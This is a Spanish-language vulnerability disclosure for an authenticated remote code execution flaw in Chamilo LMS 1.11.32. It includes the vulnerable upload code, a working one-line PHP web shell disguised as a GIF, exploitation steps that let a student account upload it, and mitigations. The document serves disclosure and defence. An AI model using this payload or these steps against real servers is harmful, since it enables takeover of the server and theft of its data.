
Hola, soy K. Este es mi primer CVE, que es una vulnerabilidad de Ejecución Remota de Código (RCE). Es el comienzo de mi viaje como investigador de seguridad.
Ejecución remota de código autenticada en Chamilo LMS 1.11.32 mediante una validación incorrecta de la carga de archivos en el endpoint AJAX
ck_uploadimage. Un estudiante con privilegios bajos puede subir un shell web PHP disfrazado de imagen, logrando el compromiso total del servidor.
| Campo | Detalles |
|---|
| Producto | Chamilo LMS |
| Versión | 1.11.32 (Confirmada) |
| Vulnerabilidad | Carga de archivos sin restricciones con tipo peligroso (CWE-434) |
| Impacto | Ejecución remota de código autenticada (RCE) |
| CVSS v3.1 | 8.8 (ALTA) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Autenticación requerida | ✅ Sí — Rol de estudiante (Privilegio bajo) |
| CWE | CWE-434: Carga sin restricciones de archivos con tipo peligroso |
| Descubierto por | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
Archivo vulnerable: main/inc/ajax/document.ajax.php
Función vulnerable: ck_uploadimage
El manejador de carga realiza únicamente validación del tipo MIME utilizando la función mime_content_type() de PHP, que inspecciona los bytes mágicos del archivo (primeros bytes del contenido), no la extensión del archivo.
// Lógica de validación vulnerable (simplificada)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Tipo de archivo no válido");
}
// ❌ Sin validación de extensión
// ❌ Sin saneamiento del nombre de archivo
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
Dos debilidades separadas se combinan en una cadena de explotación completa:
GIF89a) al código PHP.php, en un directorio accesible desde la webUn archivo malicioso se crea de la siguiente manera:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() lee GIF89a → lo clasifica como image/gif → supera la validaciónmove_uploaded_file() lo guarda como shell.php en /app/upload/users/<id>/ → directamente ejecutable desde el navegadorEjecute el exploit completo que inicia sesión como estudiante para realizar la carga de archivos automáticamente
Después de ejecutar el exploit completo en Python, podemos encontrar nuestro shell web subido en http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

La explotación exitosa de esta vulnerabilidad resulta en compromiso total del servidor desde una cuenta de nivel estudiante:
Impacto CIA: Pérdida completa de Confidencialidad, Integridad y Disponibilidad.
▪ Aplicar una lista blanca estricta de extensiones de archivo Solo se deben aceptar extensiones de archivos de imagen explícitamente permitidas (por ejemplo, .jpg, .png, .gif). Los archivos subidos con extensiones ejecutables como .php, .phtml o .phar deben rechazarse independientemente del tipo MIME.
▪ No confiar únicamente en la validación del tipo MIME Las comprobaciones del tipo MIME mediante funciones como mime_content_type() no deben utilizarse como control de seguridad principal, ya que pueden evadirse con cabeceras de archivo manipuladas. La validación MIME solo debe utilizarse como comprobación secundaria.
▪ Almacenar los archivos subidos fuera de los directorios accesibles desde la web El contenido subido debe almacenarse en un directorio que no sea directamente accesible a través del servidor web. Si se requiere acceso público, los archivos deben servirse mediante un manejador controlado en lugar de acceso directo.
MENG HOKSENG
Investigador de seguridad independiente
Este proyecto se publica únicamente con fines educativos y de investigación de seguridad autorizada. El autor no es responsable de ningún uso indebido o daño causado por este exploit. Obtenga siempre autorización escrita explícita antes de realizar evaluaciones de seguridad.